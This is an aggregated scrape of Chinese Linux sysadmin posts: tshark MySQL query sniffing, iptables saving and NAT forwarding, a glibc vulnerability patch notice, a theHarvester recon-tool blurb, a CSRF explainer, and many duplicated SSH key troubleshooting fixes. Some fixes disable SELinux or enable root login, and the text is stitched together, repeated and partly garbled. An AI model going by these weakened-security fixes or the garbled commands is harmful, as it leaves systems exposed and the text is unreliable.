-l :输出到标准输出
3、实时打印当前mysql查询语句
tshark -s 512 -i eth0 -n -f ‘tcp dst port ; -R ‘mysql.query’ -T fields -e mysql.query
下面介绍参数含义:
-s 512 :只抓取前512个字节数据
-i eth0 :捕获eth0网卡
-n :禁止网络对象名称解析
-f ‘tcp dst port 3306′ :只捕捉协议为tcp,目的端口为3306的数据包
-R ‘mysql.query’ :过滤出mysql.query
-T fields -e mysql.query :打印mysql查询语句
tshark使用-f来指定捕捉包过滤规则,规则与tcpdump一样,可以通过命令man pcap-filter来查得。
tshark使用-R来过滤已捕捉到的包,与界面版wireshark的左上角Filter一致。
No related posts.
linux iptables 命令一定要写在/etc/sysconfig/iptables中才会保存吗?
/link?url=UZEvJp5MvKj6X_yBwBSVPjjfn1PBIha4GyX7VDOlriWDMzkVKw0jZXg75bUV6MU6WBkdSs5ULT-0fUZMbkKSGhK5LGg94p-fos525DhDXjm
linux iptables 命令一定要写在/etc/sysconfig/iptables中才会保存吗?我用命令 iptables -A INPUT -m state –state 搜索NEW -m tcp -p tcp –dport 8008 -j ACCEPT后iptables-save查看后有显示出这条命令,service iptables restart 重启后就没有了!~ 要写在/etc/sysconfig/iptables中才会保存吗?命令中的-m tcp 表示的什么意思?
iptables搜索-save的命令只是把当前规则打印出来,如果要保存,需要把当前规则保存到一个文件中,当iptables重启后,再根据这个配置文件恢复之前的规则。iptables-save & /etc/iptables-configservice iptables restartiptables-restore & /etc/iptables-config第一条命令是讲当前规则存到/etc/iptables-config文件中。第二条命令是重启iptables服务。第三条命令是恢复文件/etc/iptables-config中的规则到当前系统。
iptables 文件 规则的删除
http://blog.csdn.net/ysdaniel/article/details/8350368
iptables 文件 规则的删除
iptables 规则的保存
iptables的配置文件保存在/etc/sysconfig/iptables-config下,书写了iptables规则以后如果需要保存规则,则可以使用命令:iptables-save,使用此命令保存的规则位置可以是任意的,此时保存的规则在重启机器后无法自动生效,需要使用命令iptables-restore恢复,或者写入开机启动脚本/etc/rc.d/rc.local里面。
以下为教材里使用的命令:
保存规则:#iptables-save &/etc/iptables-script
恢复规则:#iptables-restore&/etc/iptables-script
保存和恢复的位置只要是两者一致就可以了,如果iptables-script没有则需要创建。
若想开机自动启用脚本,则可以使用以下命令放到系统初始化Shell脚本/etc/rc.d/rc.local中
#echo ‘/sbin/iptables-restore /etc/iptables-script’ &&/etc/rc.d/rc.local
但近日查看一些资料,发现规则保存的位置在/etc/sysconfig/iptables下,所以一些资料就有了
保存规则:#iptables-save &/etc/sysconfig/iptables
恢复规则:#iptables-restore&/etc/sysconfig/iptables
若想开机自动启用脚本,则可以使用以下命令放到系统初始化Shell脚本/etc/rc.d/rc.local中
#echo ‘/sbin/iptables-restore /etc/sysconfig/iptables’ &&/etc/rc.d/rc.local
此外还有一命令保存规则 #service iptables save,如下图:
规则自动保存到了/etc/sysconfig/iptables,用此命令保存的规则开机会自动生效,所以为了统一期间,建议以后规则的保存都保存在/etc/sysconfig/iptables下。
语法是: iptables -D chain rulenum [options]
其中: chain 是链的意思,就是INPUT FORWARD 之类的
rulenum 是规则的编号。从1 开始。可以使用 –line-numbers 列出规则的编号
所以,例如上面要删除一个INPUT链的规则的话可以这样:iptables -D INPUT 3
意思是删除第3条规则。
还有第二种方法。第二种办法是 -A 命令的映射,不过用-D替换-A。当你的链中规则很复杂,而你不想计算它们的编号的时候这就十分有用了。也就是说,你如何用iptables -A…. 语句定义了一个规则,则删除此规则时就用 -D 来代替- A 其余的都不变即可。
======================
说一下上面的 –line-numbers 选项,如下面的命令:
iptables -L INPUT –line-numbers 列出INPUT 链所有的规则
num target prot opt source destination
1 REJECT tcp — anywhere anywhere tcp dpt:microsoft-ds reject-with icmp-port-unreachable
2 REJECT tcp — anywhere anywhere tcp dpt:135 reject-with icmp-port-unreachable
3 REJECT tcp — anywhere anywhere tcp dpt:netbios-ssn reject-with icmp-port-unreachable
4 REJECT udp — anywhere anywhere udp dpt:microsoft-ds reject-with icmp-port-unreachable
5 REJECT udp — anywhere anywhere udp dpt:135 reject-with icmp-port-unreachable
删除指定行规则:
[ rc.d]# iptables -D INPUT 4
iptables的conntrack表满了导致访问网站很慢
/knowledge_detail/5974872.html?spm=.5.3.vqrSl6
现象:突然发现访问网站很慢,服务器的cpu、内存和磁盘使用率都正常
分析过程及解决方案:查询/var/log/message日志发现有这样的记录“ip_conntrack table full dropping packet”。kernel 用 ip_conntrack 模块来记录 iptables 网络包的状态,并保存到 table 里(这个 table 在内存里),如果网络状况繁忙,比如高连接,高并发连接等会导致逐步占用这个 table 可用空间,一般这个 table 很大不容易占满并且可以自己清理,table 的记录会一直呆在 table 里占用空间直到源 IP 发一个 RST 包,但是如果出现被攻击、错误的网络配置、有问题的路由/路由器、有问题的网卡等情况的时候,就会导致源 IP 发的这个 RST 包收不到,这样就积累在 table 里,越积累越多直到占满,满了以后 iptables 就会丢包,出现外部无法连接服务器的情况。
解决方案:Iptables启动的是会在日志里提示当前的buckets和conntrack_max的值以及每条跟踪连接需要消耗多少内存:
也就是说304MB内存将支持1048576条跟踪连接记录,所以需要按照服务器的内存大小来配置合适的值。
永久修改ip_conntrack_max和hashsize
1) 增大 ip_conntrack_max(设置为 2^20,默认值是 2^16=65536)
# vi /etc/sysctl.conf
net.ipv4.ip_conntrack_max = 1048576
2) 增大 hashsize (在i386架构上,HASHSIZE = CONNTRACK_MAX / 8)
# vi /etc/modprobe.conf
options ip_conntrack hashsize=131072
然后重启 iptables 服务,在 messages中可以看到参数已生效:
# service iptables restart
No related posts.
ECS Linux服务器iptables无法重启
/knowledge_detail/5989810.html?spm=.5.1.vqrSl6
新购ECS Linux服务器的iptbales无法正常重启,而且/etc/sysconfig/iptables文件不存在,这是由于新系统没有配置使用过iptables,因此在/etc/sysconfig中没有iptables的配置文件。
处理方法:
1.添加任意一条防火墙规则,如:
iptables -P OUTPUT ACCEPT (设置出口全开)
2.service iptables save (进行保存)
系统会自动生成/etc/sysconfig/iptables文件里,并自动加载配置信息。
3.service iptables restart (重启命令)和添加规则都可以正常使用。
注:/etc/sysconfig/iptables文件说明:
1、 iptables 命令规则策略实际调用的是/etc/sysconfig/iptables 的配置。
2、 修改iptables规则也可以直接编辑该文件来添加删除规则。
linux环境iptables配置
/knowledge_detail/5980328.html?spm=.5.5.vqrSl6
Linux iptables常用规则
设置一个自己用的表,
允许dns查询
其他的拒绝.脚本如下
# Firewall configuration written by system-config-securitylevel
# Manual customization of this file is not recommended.
:INPUT ACCEPT [0:0]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [0:0]
:MY-Firewall-1-INPUT – [0:0]
-A INPUT -j MY-Firewall-1-INPUT
-A FORWARD -j MY-Firewall-1-INPUT
-A MY-Firewall-1-INPUT -i lo -j ACCEPT
-A MY-Firewall-1-INPUT -p icmp –icmp-type any -j ACCEPT
-A MY-Firewall-1-INPUT -m state –state ESTABLISHED,RELATED -j ACCEPT
-A MY-Firewall-1-INPUT -m state –state NEW -m tcp -p tcp –dport 22 -j ACCEPT
-A MY-Firewall-1-INPUT -m state –state NEW -m tcp -p tcp –dport 80 -j ACCEPT
-A MY-Firewall-1-INPUT -m state –state NEW -m tcp -p tcp –dport 3306 -j ACCEPT
-A MY-Firewall-1-INPUT -m state –state NEW -m tcp -p tcp –dport 21 -j ACCEPT
-A MY-Firewall-1-INPUT -m state –state NEW -m tcp -p tcp –dport 53 -j ACCEPT
-A MY-Firewall-1-INPUT -m state –state NEW -m udp -p udp –dport 53 -j ACCEPT
-A MY-Firewall-1-INPUT -j REJECT –reject-with icmp-host-prohibited
这样的话是所有人都可以连,但是有的时候22端口 或者3306端口希望指定的ip才能访问
-A MY-Firewall-1-INPUT–s 1.2.3.4 –p tcp–dport 22 –j ACCEPT
这样就限制了只有1.2.3.4这个ip才能连接22端口了.
关于iptables的另一种用法,通过公网ecs登陆使用内网地址的rds
1.允许数据包转发:
echo 1 & /proc/sys/net/ipv4/ip_forward
2.添加转发规则 3306到后端
iptables -t nat -I PREROUTING -p tcp –dport 3306 -j DNAT –to 10.157.80.138(根据分配给你的rds内网地址进行ping得到真实ip)
3.使转发数据包实现“双向通路”,给数据包设置一个正确的返回通道:
iptables -t nat -I POSTROUTING -p tcp –dport 3306 -j MASQUERADE
/forum.php?mod=viewthread&tid=3823
尊敬的腾讯云用户:
您好!日, 腾讯云安全情报监测到 LinuxGlibc库存在一处严重安全漏洞,可以通过gethostbyname系列函数实现远程代码执行,获取服务器的控制权及Shell权限,漏洞详细介绍
【影响版本】:
Glibc2.2 ~ Glibc 2.18
【修复方案】:
第一种方法:通过官方渠道自助下载更新,升级到Glibc 2.19及其以上版本。官方已在Glibc 2.19及以上版本中修复该漏洞。
官方下载链接:
第二种方法: 腾讯云提供部分系统的Glibc的更新方法如下:
OS:CentOS 和 RedHat
更新方法如下:
1)用户使用root用户, 在系统上执行: # yum update glibc
2)以上命令执行完成后, 查看Glibc版本:# rpm -qa|grep glibc-2.12 (跟右侧对应glibc版本对应的话,说明修复成功)
对应Glibc版本
CentOS6.x/redhat6.x
glibc-2.12-1.149.el6_6.5
OS版本: CentOS 6.2 安全版(tlinux)
glibc-2.12-1.149.tl1.5
CentOS5.x/redhat5.x
glibc-2.5-123.el5_11.1
OS: Ubuntu 更新方法如下:
【针对Ubuntu,腾讯云软件仓库已完成同步】
1)用户使用root权限登录系统或使用sudo获取root权限,执行以下命令:
#apt-get update
#apt-get install libc6
2)执行完成以后,查看版本, 输出如下表示更新完成:
:~# dpkg -l|grep libc6
对应Glibc版本
Ubuntu12.x
2.15-0ubuntu10.10
Ubuntu14.x
2.19-0ubuntu6
Ubuntu10.x
2.11.1-0ubuntu7.20
其他OS暂未支持,后续支持后会尽快发布;如有需求,可通过下载Glibc源码进行编译。
由于影响较广,请各位用户及时升级版本,待升级完成后,建议重启系统。如有问题,请您及时联系(企业QQ:),我们将竭诚为您解决,感谢您对腾讯云的理解和支持!
腾讯云项目团队
2015年1月28日
No related posts.
社会工程学神器—信息收集工具theHarvester v2.2a
/tools/7348.html
社会工程学神器—信息收集工具theHarvester v2.2a –
| 关注黑客与极客
theHarvester是一个社会工程学工具,它通过搜索引擎、PGP服务器以及SHODAN数据库收集用户的email,子域名,主机,雇员名,开放端口和banner信息。
这款工具可以帮助渗透测试工作者在渗透测试的早期阶段对目标进行互联网资料采集,同时也可以帮助人们了解自己的个人信息在网络上是否存在。
新版本特性
1.延时请求
2.所有源搜索
3.虚拟主机确认
4.主动枚举 (DNS enumeration, Reverse lookups, TLD expansion)
5.集成SHODAN数据库
6.可存储为XML和HTML文件
7.基本图表展示
&img src=”/uploads/image/_28772.jpg” alt=”” /& &/p&
&img src=”/uploads/image/_98131.jpg” alt=”” /&&br /&
No related posts.
CSRF-Cross-site Request Forgery
.cn/showcontent_3350.htm
导读:CSRF-Cross-site Request Forgery通常用来指WEB网站的这类漏洞,即在恶意站点的页面上,促使访问者请求你的网站的某个URL,从而达到改变服务器端数据的目的。
关键词:CSRF CSRF 漏洞 CSRF 攻击
什么是CSRF?
CSRF – Cross-site Request Forgery 字面意思是指跨站点请求伪造,通常用来指 WEB 网站的这一类漏洞,即在某个恶意站点的页面上,促使访问者请求你的网站的某个 URL(通常会用 POST 数据方式),从而达到改变服务器端数据的目的。这一类攻击依赖于你的网页中的表单,脆弱的表单很容易受到攻击。对于你网站中的访问者而言,可能会受到以下攻击:
在你的网站之外记录受攻击者的日志(比如:Slashdot);
修改受攻击者在你的网站的设置(比如:Google);
修改你的硬件防火墙;
使用受攻击者的登录信息在你的网站中发表评论或留言;
通过受攻击者的 IP 地址发表匿名留言;
将资金转移到另一个用户帐号中。
CSRF 攻击的典型是那些使用 cookie 记录登录信息的网站,但对于一些允许某个 IP 地址访问的页面(如内部网),这一类攻击也会奏效。
CSRF 攻击通常会使用到 JavaScript(但不仅限于 JavaScript)实现跨站点自动提交表单--表单数据可以隐藏,提交按钮可以伪装成链接或滚动条。
如何防笴SRF 漏洞
确定那些接受可改变服务器数据的 CGI 只接受 POST 参数,不接受 GET 参数,一些服务器端语言默认同时接受两种方式提交过来的参数;
确定表单提交处理的是你自己的表单,可以使用一个隐藏字段中存放 MD5 字符串,此字符串是将登录 cookie 数据与服务器端存放的密钥进行 MD5 之后的结果,只有这个 MD5 字符串正确时才接受表单数据;
另外还可以增加一个更为严格的方法:在表单中增加一个时间戳的隐藏字段,并将其包含到 hash 字符串中,如果时间戳超过某个时间,则认为表单已过期。当表单过期时,给出一个方法可以让用户重新提交表单,比如将用户之前填写的数据依旧放入表单中,但使用一个新的 hash 字符串。
一个 PHP 的表单例子,表单代码:
$key = ’y8s4Z7m2’; //MD5 加密密钥
$time = time(); //当前时间
$hash = md5($time.$key); //hash 字符串
TechTarget中国原创内容,原文链接:.cn/showcontent_3350.htm
No related posts.
ssh使用公钥授权不通过的问题解决
/os/286.html
1.客户端生成了id_rsa.pub和id_rsa
2.服务端在.ssh/authorized_keys也加入了客户端的id_res.pub
3./etc/ssh/sshd_config开启了:
RSAAuthentication yes
PubkeyAuthentication yes
AuthorizedKeysFile .ssh/authorized_keys
但在客户端执行ssh依然报错:
Permission denied (publickey,gssapi-keyex,gssapi-with-mic).
在这个页面不小心看到了原因:
/questions/230771/ssh-configuration-publickeys-permission-denied-publickey-password-error
又是TM的SELinux惹的祸,关闭SELinux解决问题:
暂时关闭(重启后恢复):
setenforce 0
永久关闭(需要重启):
vi /etc/selinux/config
SELINUX=disabled
ssh可同时支持publickey和password两种授权方式,publickey默认不开启,需要配置为yes。
如果客户端不存在.ssh/id_rsa,则使用password授权;存在则使用publickey授权;如果publickey授权失败,依然会继续使用password授权。
作者 flysnowxf
SSH: Permission denied (publickey,gssapi-keyex,gssapi-with-mic,password)
/hdwiki/index.php?doc-view-323
1. 核对相应权限是否正确:
$ chmod go-w ~/
$ chmod 700 ~/.ssh
$ chmod 600 ~/.ssh/authorized_keys
2. 因为SSH不能访问你的authorized_keys,所以必需先认证然后才能访问
$ sudo su –
# mkdir /etc/ssh/&username& 请访问
# cp /home/&username&/.ssh/authorized_keys /etc/ssh/&username&/
# chmod 755 /etc/ssh/&username&
# chmod 600 /etc/ssh/&username&/authorized_keys
# chown -R username:username /etc/ssh/&username& 请访问
3. 编辑配置文件/etc/ssh/sshd_config并添加下列内容
# vi /etc/ssh/sshd_config
AuthorizedKeysFile /etc/ssh/%u/authorized_keys
4. 重启SSH
# /etc/init.d/sshd restart
关于git的ssh permission denied原因汇总 – 飞奔的猪
SSH关于公钥认证Permission denied (publickey,gssapi-with-mic的问题
http://floss.zoomquiet.io/data/19/index.html
http://h2appy./2797
CentOS 6.3系统下,用户user的home目录:/home/user的权限变成了777,造成不能正常登陆SSH,报如下错误:Permission denied (publickey,gssapi-with-mic
SSH对公钥、私钥的权限和所有权的要求是非常严格的,总结如下:
1、下面两个目录的所有权必须是user,所属组也应该是user,权限必须为700
\home\user
\home\user\.ssh
2、下面公钥文件的所有权必须是user,所属组也应该是user,权限必须为644
\home\user\.ssh\authorized_keys
3、下面私钥文件的所有权必须是user,所属组也应该是user,权限必须是600
\home\user\.ssh\id_rsa
ssh使用公钥授权不通过的问题解决
/os/286.html
ssh使用公钥授权不通过的问题解决
1.客户端生成了id_rsa.pub和id_rsa
2.服务端在.ssh/authorized_keys也加入了客户端的id_res.pub
3./etc/ssh/sshd_config开启了:
RSAAuthentication yes
PubkeyAuthentication yes
AuthorizedKeysFile .ssh/authorized_keys
但在客户端执行ssh依然报错:
Permission denied (publickey,gssapi-keyex,gssapi-with-mic).
在这个页面不小心看到了原因:
/questions/230771/ssh-configuration-publickeys-permission-denied-publickey-password-error
又是TM的SE
Linux惹的祸,关闭SELinux解决问题:
暂时关闭(重启后恢复):
setenforce 0
永久关闭(需要重启):
vi /etc/selinux/config
SELINUX=disabled
ssh可同时支持publickey和password两种授权方式,publickey默认不开启,需要配置为yes。
如果客户端不存在.ssh/id_rsa,则使用password授权;存在则使用publickey授权;如果publickey授权失败,依然会继续使用password授权。
/Linux/32.htm
Ubuntu下OpenSSH的安装:
sudo apt-get install openssh-server
一、问题描述
假设 A 为客户机器,B为目标机;
要达到的目的:
A机器ssh登录B机器无需输入密码;
加密方式选 rsa|dsa均可以,默认dsa
二、具体操作流程
单向登陆的操作过程(能满足上边的目的):
1、登录A机器
2、ssh-keygen -t [rsa|dsa],将会生成密钥文件和私钥文件 id_rsa,id_rsa.pub或id_dsa,id_dsa.pub
3、将 .pub 文件复制到B机器的 .ssh 目录, 并 cat id_dsa.pub & ~/.ssh/authorized_keys
4、大功告成,从A机器登录B机器的目标账户,不再需要密码了;(直接运行 #ssh 192.168.20.60 )
双向登陆的操作过程:
1、ssh-keygen做密码验证可以使在向对方机器上ssh ,scp不用使用密码.具体方法如下:
2、两个节点都执行操作:#ssh-keygen -t rsa
然后全部回车,采用默认值.
3、这样生成了一对密钥,存放在用户目录的~/.ssh下。
将公钥考到对方机器的用户目录下 ,并将其复制到~/.ssh/authorized_keys中(操作命令:#cat id_dsa.pub && ~/.ssh/authorized_keys )。
4、设置文件和目录权限:
设置authorized_keys权限
$ chmod 600 authorized_keys
设置.ssh目录权限
$ chmod 700 -R .ssh
5、要保证.ssh和authorized_keys都只有用户自己有写权限。否则验证无效。(今天就是遇到这个问题,找了好久问题所在),其实仔细想想,这样做是为了不会出现系统漏洞。
我从20.60去访问20.59的时候会提示如下错误:
The authenticity of host &#.20.59 (192.168.20.59)’ can’t be established. RSA key fingerprint is 6a:37:c0:e1:09:a4:29:8d:68:d0:ca:21:20:94:be:18. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added &#.20.59’ (RSA) to the list of known hosts. ’s password: Permission denied, please try again. ’s password: Permission denied, please try again. ’s password: Permission denied (publickey,gssapi-with-mic,password).
1、文件和目录的权限千万别设置成chmod 777.这个权限太大了,不安全,数字签名也不支持。
2、生成的rsa/dsa签名的公钥是给对方机器使用的,这个公钥内容还要拷贝到authorized_keys
3、linux之间的访问直接 ssh 机器ip4、某个机器生成自己的RSA或者DSA的数字签名,将公钥给目标机器,然后目标机器接收后设定相关权限(公钥和authorized_keys权限),这个目标机就能被访问了!
SSH : Permission denied(publickey,gssapi-with-mic)
http://blog.csdn.net/ashlingr/article/details/7670338
在搭载Hadoop集群过程中,涉及到 配置SSH使用无密码公钥认证,遇到了SSH : Permission denied (publickey,gssapi-with-mic)错误。现将解决方式记录下:(由于解决问题的时间和过程过长,有可能会缺少了其中一些步骤,仅供参考)
最终找到的错误原因:为了保证sshd_config的配置一致性,在普通用户下,登录root,从另外一台机子上将/etc/ssh文件夹中的sshd_config拷贝到这台机子上。但是这样的操作会改变sshd_config的权限,在ls命令下看到文件变为绿色,与其他配置文件不同,再用“ls -al”查看,sshd_config权限为“-rw-r–r– ”,将其改为“-rw——- ”,即可。命令:chmod 600 sshd_config。
另外:authorized_keys 的权限为“-rw——-”,即600。
最后,sshd_config配置文件如下:
# $OpenBSD: sshd_config,v 1.73
22:38:28 reyk Exp $
# This is the sshd server system-wide configuration file. See
# sshd_config(5) for more information.
# This sshd was compiled with PATH=/usr/local/bin:/bin:/usr/bin
# The strategy used for options in the default sshd_config shipped with
# OpenSSH is to specify options with their default value where
# possible, but leave them commented. Uncommented options change a
# default value.
#Protocol 2,1
Protocol 2
#AddressFamily any
#ListenAddress 0.0.0.0
#ListenAddress ::
# HostKey for protocol version 1
#HostKey /etc/ssh/ssh_host_key
# HostKeys for protocol version 2
#HostKey /etc/ssh/ssh_host_rsa_key
#HostKey /etc/ssh/ssh_host_dsa_key
# Lifetime and size of ephemeral version 1 server key
#KeyRegenerationInterval 1h
#ServerKeyBits 768
# obsoletes QuietMode and FascistLogging
#SyslogFacility AUTH
SyslogFacility AUTHPRIV
#LogLevel INFO
# Authentication:
#LoginGraceTime 2m
#PermitRootLogin yes
#PermitRootLogin yes
#StrictModes yes
#MaxAuthTries 6
#RSAAuthentication yes
#PubkeyAuthentication yes
#PubkeyAuthentication no
#AuthorizedKeysFile .ssh/authorized_keys
# For this to work you will also need host keys in /etc/ssh/ssh_known_hosts
#RhostsRSAAuthentication no
# similar for protocol version 2
#HostbasedAuthentication no
# Change to yes if you don’t trust ~/.ssh/known_hosts for
# RhostsRSAAuthentication and HostbasedAuthentication
#IgnoreUserKnownHosts no
# Don’t read the user’s ~/.rhosts and ~/.shosts files
#IgnoreRhosts yes
# To disable tunneled clear text passwords, change to no here!
#PasswordAuthentication yes
#PermitEmptyPasswords no
#PasswordAuthentication yes
PasswordAuthentication no
AuthorizedKeysFile .ssh/authorized_keys
# Change to no to disable s/key passwords
#ChallengeResponseAuthentication yes
ChallengeResponseAuthentication no
# Kerberos options
#KerberosAuthentication no
#KerberosOrLocalPasswd yes
#KerberosTicketCleanup yes
#KerberosGetAFSToken no
# GSSAPI options
#GSSAPIAuthentication no
GSSAPIAuthentication yes
#GSSAPICleanupCredentials yes
GSSAPICleanupCredentials yes
# Set this to ‘yes’ to enable PAM authentication, account processing,
# and session processing. If this is enabled, PAM authentication will
# be allowed through the ChallengeResponseAuthentication mechanism.
# Depending on your PAM configuration, this may bypass the setting of
# PasswordAuthentication, PermitEmptyPasswords, and
# “PermitRootLogin without-password”. If you just want the PAM account and
# session checks to run without PAM authentication, then enable this but set
# ChallengeResponseAuthentication=no
#UsePAM no
UsePAM yes
# Accept locale-related environment variables
AcceptEnv LANG LC_CTYPE LC_NUMERIC LC_TIME LC_COLLATE LC_MONETARY LC_MESSAGES
AcceptEnv LC_PAPER LC_NAME LC_ADDRESS LC_TELEPHONE LC_MEASUREMENT
AcceptEnv LC_IDENTIFICATION LC_ALL
#AllowTcpForwarding yes
#GatewayPorts no
#X11Forwarding no
X11Forwarding yes
#X11DisplayOffset 10
#X11UseLocalhost yes
#PrintMotd yes
#PrintLastLog yes
#TCPKeepAlive yes
#UseLogin no
#UsePrivilegeSeparation yes
#PermitUserEnvironment no
#Compression delayed
#ClientAliveInterval 0
#ClientAliveCountMax 3
#ShowPatchLevel no
#UseDNS yes
#PidFile /var/run/sshd.pid
#MaxStartups 10
#PermitTunnel no
#ChrootDirectory none
# no default banner path
#Banner /some/path
# override default of no subsystems
Subsystem sftp /usr/libexec/openssh/sftp-server
SSH 登录是错误:Permission denied (publickey,gssapi-with-mic)
http://www.oschina.net/question/
Permission denied (publickey,gssapi-with-mic).
报了这么个错,原因是我上次做测试时修改了/etc/ssh/sshd_config 中的”PasswordAuthentication”参数值为”no”,修改回”yes”,重启sshd服务即可。
http://my.oschina.net/230/blog/145883
复制公钥到http://git.oschina.net/keys里时提示:
Key can’t be fingerprinted
或者提示:
这都是文本格式问题,因为我都是在终端使用命令:
cat ~/.ssh/id_rsa.pub
获取然后复制过去的,即使去掉了复制过程中而外的空格,还是提示上诉错误。
另外在文本编辑器中打开,然后c-a,c-c,复制过去就可以了,,
http://my.oschina.net/emptytimespace/blog/79173
笔记~SSH无需密码密钥登录,centos 5.5 下成功
(太多太久,已经忘记引用哪里的了,如有侵权,请留言)
——***
3.SSH 无密码登录设置
3.1 在node00节点上运行
ssh-keygen -t rsa
然后一路确定,3个,
cat ~/.ssh/id_rsa.pub && ~/.ssh/authorized_keys
cat authorized_keys
然后每个节点都运行上面的命令,将cat authorized_keys 中的结果全部拷贝到 node00 的authorized_keys 中,
在 node00上 修改权限
chmod 644 ~/.ssh/authorized_keys
然后将该文件拷贝到node00 /home 下
cp ~/.ssh/authorized_keys /home
(我的是 cp ~/.ssh/authorized_keys /mnt/myshare/ )
到各个节点运行
cp /home/authorized_keys ~/.ssh/authorized_keys
(我的是 cp /mnt/myshare/authorized_keys ~/.ssh/authorized_keys)
这个时候可以ssh无密码登录各个节点,比如 ssh node00
第一次的时候需要yes确认一下,以后不需要了。
——***
1 修改ssh配置文件(master和slave1都要修改)
#vi /etc/ssh/sshd_config
具体设置:
a、打开AuthorizedKeysFile,就是删除前面的#号(如果有的话)
b、添加允许访问的帐户,AllowUsers hadoop。
2、通过ssh-keygen产生RSA公私密钥对(密码为空)(master和slave1都要运行)
hadoop$ssh-keygen -t rsa -P “”
这样会在/home/hadoop/.ssh/下生成id_rsa和id_rsa.pub
3 将各个联机中的~/.ssh/authorized_keys 中的密钥收集起来,集合为一个,再分发到每个联机。
4、重启ssh服务
ubuntu#/etc/init.d/sshd -reload
这样master和slave1就可以互访而不用输入密码。
——***
**:注意,如果两边操作都没有问题,那么请注意要修改authorized_keys中用户名后的地址为
localhost.localdomain:
我的nsplab-calc. 修改为 nsplab-calc.local
——
配置 ssh 实现 MPI 节点间用户的无密码访问,由于 MPI 并行程序需要在各节点间进行信息传递,所以必须实现所有节点两两之间能无密码访问。
节点间的无密码访问是通过配置ssh 公钥认证来实现的。例如,对新用户 user 配置 ssh 公钥认证,先在 c1 上做以下操作。
(1)生成了私钥 id_dsa 和公钥 id_dsa.pub,具体操作方法如下。
ssh-keygen -t rsa
系统显示一些信息,遇到系统询问直接回车即可。
(2)将该密钥用作认证,进行访问授权。按如下命令在 c1 执行。
cp ~/.ssh/id_dsa.pub ~/.ssh/authorized_keys
由于我们使用的是 root 用户,所以~代表/root,
(3)将~/.ssh 目录下的文件复制到所有节点。
scp -r ~/.ssh/* c2:/root/.ssh
(4)检查是否可以直接(不需要密码)登录其他节点。
如能两两之间不需要密码登录其他节点,则表明配置成功。
http://my.oschina.net/heartdong/blog/135374
1)在master主机上生成密码对
1 ssh-keygen –t rsa –P ”
确认一路回车,命令默认会在用户主目录下生成.ssh目录,你们有两 密钥对文件:id_rsa和id_rsa.pub
1 [ ~]$ ll .ssh/
2 -rw——-. 1 master master 1675 Jun 3 00:28 id_rsa
3 -rw-r–r–. 1 master master 402 Jun 3 00:28 id_rsa.pub
接着在master节点上做如下配置,把id_rsa.pub追加到授权的key里面去。
1 cat ~/.ssh/id_rsa.pub && ~/.ssh/authorized_keys
本以为这么就可以搞定了的,发现输入命令ssh localhost还是要密码。
捣鼓了半天,终于还是被我找到了原因
找到服务器修改SSH配置文件”/etc/ssh/sshd_config”,修改如下内容(去掉前面的注释)
2 PubkeyAuthentication yes
3 AuthorizedKeysFile .ssh/authorized_keys
设置完之后记得 重启SSH服务
重新验证ssh localhost,无密码登陆成功
配置远程登陆其他机器也是同一个原理,只需把本机生成的id_rsa.pub上传到其他服务器做同样操作即可。
ssh: permission denied (publickey)
http://www.blogjava.net/dongbule/archive//342275.html
ssh出现permission denied (publickey)问题:修改/etc/ssh/sshd-config文件.
将其中的PermitRootLogin no修改为yes
PubkeyAuthentication yes修改为no
AuthorizedKeysFile .ssh/authorized_keys前面加上#屏蔽掉,
PasswordAuthentication no修改为yes就可以了。vi /etc/ssh/sshd-config (详细说说sshd-config的配置解释)
Subsystem sftp /usr/libexec/openssh/sftp-server
Protocol 2
PermitRootLogin no
PubkeyAuthentication yes
AuthorizedKeysFile .ssh/authorized_keys
#CACertificateFile /etc/ssh/ca/ca.cert
PasswordAuthentication no
PermitEmptyPasswords no
PrintMotd no
ChallengeResponseAuthentication no
ClientAliveInterval 60
Port 22 # SSH 预设使用 22 这个 port,您也可以使用多的 port !亦即重复使用 port 这个设定项目即可!Protocol 2 # 选择的 SSH 协议版本,可以是 1 也可以是 2 ,如果要同时支持两者,就必须要使用 2,1 这个分隔了PermitRootLogin no # 是否允许 root 登入!预设是允许的,但是建议设定成 no!PubkeyAuthentication yes # 是否允许 Public KeyAuthorizedKeysFile .ssh/authorized_keys # 上面这个在设定若要使用不需要密码登入的账号时,那么那个账号的存放档案所在档名!PasswordAuthentication no # 是否需要密码的验证PermitEmptyPasswords no # 若上面那一项如果设定为 yes 的话,这一项就最好设定为 no ,这个项目在是否允许以空的密码登入!当然不许!PrintMotd no # 登入后是否显示出一些信息呢?例如上次登入的时间、地点等ChallengeResponseAuthentication no # 是否启用其它的 PAM 模块!启用这个模块将会导致 PasswordAuthentication 设定失效!UseDNS no ClientAliveInterval 60
ssh使用公钥授权不通过的问题解决
/os/286.html
ssh使用公钥授权不通过的问题解决
1.客户端生成了id_rsa.pub和id_rsa
2.服务端在.ssh/authorized_keys也加入了客户端的id_res.pub
3./etc/ssh/sshd_config开启了:
RSAAuthentication yes
PubkeyAuthentication yes
AuthorizedKeysFile .ssh/authorized_keys
但在客户端执行ssh依然报错:
Permission denied (publickey,gssapi-keyex,gssapi-with-mic).
在这个页面不小心看到了原因:
/questions/230771/ssh-configuration-publickeys-permission-denied-publickey-password-error
又是TM的SE
Linux惹的祸,关闭SELinux解决问题:
暂时关闭(重启后恢复):
setenforce 0
永久关闭(需要重启):
vi /etc/selinux/config
SELINUX=disabled
ssh可同时支持publickey和password两种授权方式,publickey默认不开启,需要配置为yes。
如果客户端不存在.ssh/id_rsa,则使用password授权;存在则使用publickey授权;如果publickey授权失败,依然会继续使用password授权。
Excerpted from 关于git的ssh permission denied原因汇总 – 飞奔的猪 – 博客园
/flypiggy/p/3288496.html
ssh使用公钥授权不通过的问题解决
/blog/1567570
1.客户端生成了id_rsa.pub和id_rsa
2.服务端在.ssh/authorized_keys也加入了客户端的id_res.pub
3./etc/ssh/sshd_config开启了:
Shell代码 复制代码 收藏代码
RSAAuthentication yes
PubkeyAuthentication yes
AuthorizedKeysFile .ssh/authorized_keys
RSAAuthentication yes
PubkeyAuthentication yes
AuthorizedKeysFile .ssh/authorized_keys
但在客户端执行ssh依然报错:
Shell代码 复制代码 收藏代码
Permission denied (publickey,gssapi-keyex,gssapi-with-mic).
Permission denied (publickey,gssapi-keyex,gssapi-with-mic).
在这个页面不小心看到了原因:
/questions/230771/ssh-configuration-publickeys-permission-denied-publickey-password-error
又是TM的SELinux惹的祸,关闭SELinux解决问题:
暂时关闭(重启后恢复):
Shell代码 复制代码 收藏代码
setenforce 0
setenforce 0
永久关闭(需要重启):
